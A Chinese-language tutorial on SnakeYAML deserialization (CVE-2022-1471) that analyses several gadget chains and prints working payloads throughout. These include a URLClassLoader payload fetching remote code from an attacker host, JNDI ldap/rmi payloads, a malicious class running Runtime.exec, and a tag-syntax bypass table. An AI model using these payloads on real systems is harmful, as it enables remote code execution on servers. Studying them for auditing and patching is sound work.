snake yaml 反序列化漏洞

关键漏洞概览:CVE-2022-1471

  • 漏洞原因
    SnakeYAML 在使用 Constructor()(默认构造器)解析 YAML 时,并未限制可被实例化的 Java 类型。这意味着,若解析来自不受信任来源的 YAML,攻击者可以构造恶意 payload,通过 “全局 tag” 语法(例如 !!com.sun.rowset.JdbcRowSetImpl {...})执行远程代码。

  • 影响版本
    所有 低于 2.0 的 SnakeYAML 版本都存在该风险(即 <= 1.x 系列)

  • 修复版本
    Snakeyaml 2.0 自 2023 年 2 月发布起(有源指出),内置了安全机制:默认 Constructor 继承自 SafeConstructor,禁止全局标签,避免任意类型实例化

  • 安全建议

    • 将 SnakeYAML 升级至 2.0 或更高版本
    • 若无法立即升级,应使用 SafeConstructor 或者配置 LoaderOptions 进行 tag 白名单限制

SnakeYaml基本用法

SnakeYaml是java中的yaml解析器,支持将java对象和yaml数据相互转化。

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式

使用jdk1.8.0_211,导入依赖

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.26</version>
</dependency>

先写一个user类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package test;

public class User {
public String name;
private int age;

public User(String name, int age) {}
public User(){}

public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

再写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test;
import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
User user = new User("zhangsan",18);
Yaml yaml = new Yaml();
// 序列化
String dump = yaml.dump(user);
System.out.println(dump);

//反序列化
Object load = yaml.load(dump);
System.out.println(load);
}
}

得到

1
2
3
4
5
getAge
!!test.User {age: 0, name: null}

setAge
test.User@726f3b58

说明在yaml序列化的时候,即调用yaml.dump方法的时候,会调用目标类的getter方法。

然后在yaml反序列化的时候,即调用yaml.load方法的时候,会调用目标类的setter方法。

序列化的结果前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名。

所以yaml利用链的点跟fastjson很像,都是会调用指定类setter方法导致安全隐患。

基于SPI机制的ScriptEngineManager利用链

什么是SPI机制?

SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。

在前面使用的执行代码的payload中看到使用ScriptEngineManager类来进行构造,其实ScriptEngineManager利用的的底层也是SPI机制。

什么是META-INF

META-INF/是Java JAR包中的一个标准目录,用于存放元数据(Meta Information) ,比如:

文件名 / 目录 作用
META-INF/MANIFEST.MF JAR包的描述文件(如主类、版本信息)
META-INF/services/<接口全限定名> SPI接口的实现类声明文件
META-INF/spring.factories Spring Boot的自动装配机制

比如你要为接口:

1
javax.script.ScriptEngineFactory

注册实现类(因为接口不能被实例化,必须通过类来实现),就创建一个文件:

1
META-INF/services/javax.script.ScriptEngineFactory

在该文件中,就可以指定实现类的名称,比如:

1
com.attacker.Exploit

poc

代码审计时,留意关键字yaml.load ,load方法,默认允许加载任意类加载。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test;
import org.yaml.snakeyaml.Yaml;

public class Main {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://bvant7e4fku6ge42p15biffc137uvkj9.oastify.com\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
Object obj = yaml.load(payload);
System.out.println(obj);
}
}

  • [...] :表示构造函数的参数列表(List/数组)。
  • [[...]] :因为 URLClassLoader 的构造函数参数本身就是 数组 (URL[]) ,所以需要再嵌套一层。

所以写成 [[...]] 是为了让 SnakeYAML 正确构造出 URL 数组,不然就会类型不匹配。

成功触发dns解析

image

利用链分析

javax.script.ScriptEngineManager

image

在反序列化ScriptEngineManage类的时候,会自动调用构造方法ScriptEngineManager(ClassLoader loader)导致触发里面的init方法,init方法又调用了initEngines方法。在initEngines中调用sl.iterator();

其中ServiceLoader

image

  • prefix指定了远程SPI加载器的访问目录
  • service指定了访问远程SPI加载器的具体文件
  • loader指定了远程SPI加载器的地址

往下看iterator()

image

发现lookupIterator.hasNext(),继续跟进hasNext方法:

image

跟进hasNextService

image

发现fullname拼接出来的就是要访问的完整的资源地址

也就是说ServiceLoader会寻找这个配置文件,其中

1
2
3
4
prefix:META-INF/services/
service:javax.script.ScriptEngineFactory
loader:http://attacker.com
fullname:META-INF/services/javax.script.ScriptEngineFactory

所以可以读取到远程的META-INF配置。

攻击者就可以提前在SPI加载器中设置好/META-INF/services/javax.script.ScriptEngineFactory文件,并在该文件当中指定恶意类的全限定名,比如

1
com.attacker.Exploit

接下来ScriptEngineFactory factory = itr.next()这个语句就会利用反射机制实例化文件当中指定的类,相当于执行了:

1
2
Class<?> clazz = loader.loadClass("com.attacker.Exploit");
Object instance = clazz.newInstance();

反序列化的入口分析完成之后,我们会发现缺少参数ClassLoader loader

那么这个参数的由来就来自payload的下一层,即

1
2
3
"  !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://bvant7e4fku6ge42p15biffc137uvkj9.oastify.com\"]\n"
" ]]\n"

loader想调用的是URLClassLoader里面的方法,但是URLClassLoader创建了一个URLClassPath对象来接管,所以loader实际上调用的是URLClassLoader里面的方法

完整attack demo

构造YAML Payload

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/"]
]]
]

服务器结构(远程攻击者搭建的目录)

1
2
3
http://attacker.com/
└── malicious.jar
└── META-INF/services/javax.script.ScriptEngineFactory

其中 javax.script.ScriptEngineFactory 内容:

1
com.attacker.Exploit

恶意类(Exploit)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.attacker;

import javax.script.ScriptEngineFactory;

public class Exploit implements ScriptEngineFactory {
static {
// 恶意payload,例如打开计算器
Runtime.getRuntime().exec("calc");
}

// 实现接口方法(可空实现)
public String getEngineName() { return null; }
...
}

当YAML字符串被反序列化的时候,调用链自动触发,导致服务器弹出计算器

JdbcRowSetImpl利用链

利用限制

基于JNDI+RMI或JDNI+LADP进行攻击,会有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

payload

1
2
3
4
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

# 或者是
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";

利用链分析

这里和fastjson的触发一致,都是触发setAutoCommit方法,调用connect函数,然后触发InitialContext.lookup(dataSourceName),而dataSourceName可以通过setDataSourceName方法可控。

setAutoCommit()方法代码如下:

image

当conn为null时,调用connect()

image

这段代码大概意思是执行InitialContext.lookup(this.getDataSourceName())返回一个数据源对象DataSource,然后再调用getConnection()方法,返回一个Connection对象。

大概理解为:向数据源DataSource发起了获取请求。

而这个数据源DataSource是由this.getDataSourceName()决定的

image

该值是由setDataSourceName()方法来设置,值为输入值

image

attack demo如上述第一条链子中的attack demo,修改payload即可。

Spring PropertyPathFactoryBean利用链

这个链子需要springframework依赖

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.3.13.RELEASE</version>
</dependency>

payload

1
2
3
4
5
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" +
" propertyPath: hacker\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]";

或者是

1
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"rmi://127.0.0.1:1099/Exploit\", propertyPath: \"hacker\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]}}";

利用链分析

注意setBeanFactory方法:

image

当进入 getBean() 时,首先检查 propertyPath 是否为空(为空就报错,不会继续)。然后会调用 beanFactory.getBean(this.targetBeanName)

因为 beanFactorySimpleJndiBeanFactory,所以这里实际会触发 JNDI 查找逻辑。在 SimpleJndiBeanFactory#getBean() 中,它会执行 lookup(),并最终走到 JNDI 查询。

要满足propertyPath属性不能为空,利用setPropertyPath方法设置一个就行。

然后就是让isSingleton()为true

image

SimpleJndiBeanFactory 里,shareableResources 是一个 Set<String>,用来标记哪些 JNDI 名称可以被当作 单例资源。

当你调用 setShareableResources([...]) 传入一个 JNDI 地址时(例如 rmi://127.0.0.1:1099/Exploit),Spring 就会在 isSingleton(name) 里检查:

1
return (this.shareableResources.contains(beanName));

如果传入的名字在 shareableResources 集合中,就会返回 true

所以只需要利用setShareableResources方法,把rmi://127.0.0.1:1099/Exploit作为数组传进去就行了。

然后看看getBean()

image

再次调用了isSingleton方法这里会返回true,然后调用doGetSingleton方法,这里进行了jndi查询。
image

Spring DefaultBeanFactoryPointcutAdvisor

需要在目标环境存在springframework相关的jar包,导入依赖

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.3.13.RELEASE</version>
</dependency>

payload

1
2
3
4
!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]

Apache XBean

需要apache.xbean依赖,没有版本限制

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

payload

1
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [\"foo\", \"TouchFile\", \"http://vps/\"],!!org.apache.xbean.naming.context.WritableContext []]]";

利用链分析

原因在于org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding继承了Binding

Binding 本身覆盖了 toString(),会在输出时尝试调用 getObject() 获取实际绑定的对象。

也就是说,如果一个 ReadOnlyBinding 对象被打印、记录日志、拼接字符串时,toString() 会被触发 → 间接执行 getObject()

image

  • ReadOnlyBinding#getObject() 内部实现会调用 ContextUtil.resolve(...)
  • ContextUtil.resolve 的逻辑是:如果绑定的对象是一个 Reference,则会尝试根据其中定义的 ObjectFactoryfactory className 去加载/实例化实际对象。
  • 这就把链子从「一个看似普通的 toString()」转成了「JNDI Reference 解析」

总结:ReadOnlyBinding.toString() 会调用 getObject(),而 getObject() 又会解析 javax.naming.Reference,导致可能加载外部或本地的工厂类 → 触发任意逻辑。

C3P0不出网利用

跟利用fastjson一样,还是setloginTimeout->inner->dereference这条利用链

payload

1
2
3
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";

或者是

1
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \"rmi://localhost/Exploit\",  loginTimeout: \"0\"}";

C3P0二次反序列化链子也可以

bypass

写法 示例 解析后的完整 TAG 说明
双感叹!! !!javax.script.ScriptEngineManager tag:yaml.org,2002:javax.script.ScriptEngineManager 快捷写法:自动补上tag:yaml.org,2002:前缀
显式扩写!<…> ![tag:yaml.org,2002:java.net.URLClassLoader](tag:yaml.org,2002:java.net.URLClassLoader) tag:yaml.org,2002:java.net.URLClassLoader 不依赖自动补全,把完整 tag 写全
%TAG前缀声明 + 单感叹! %TAG ! tag:yaml.org,2002:后面!str tag:yaml.org,2002:str 先声明 !的前缀,之后!xxx会拼成完整 tag

参考文章:

Java安全之SnakeYaml反序列化-腾讯云开发者社区-腾讯云

Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园

SnakeYAML反序列化及可利用Gadget

SnakeYAML序列化&反序列化&其经典反序列化漏洞利用链讲解(非常详细!!!)-CSDN博客

SnakeYaml反序列化原理分析和利用总结-先知社区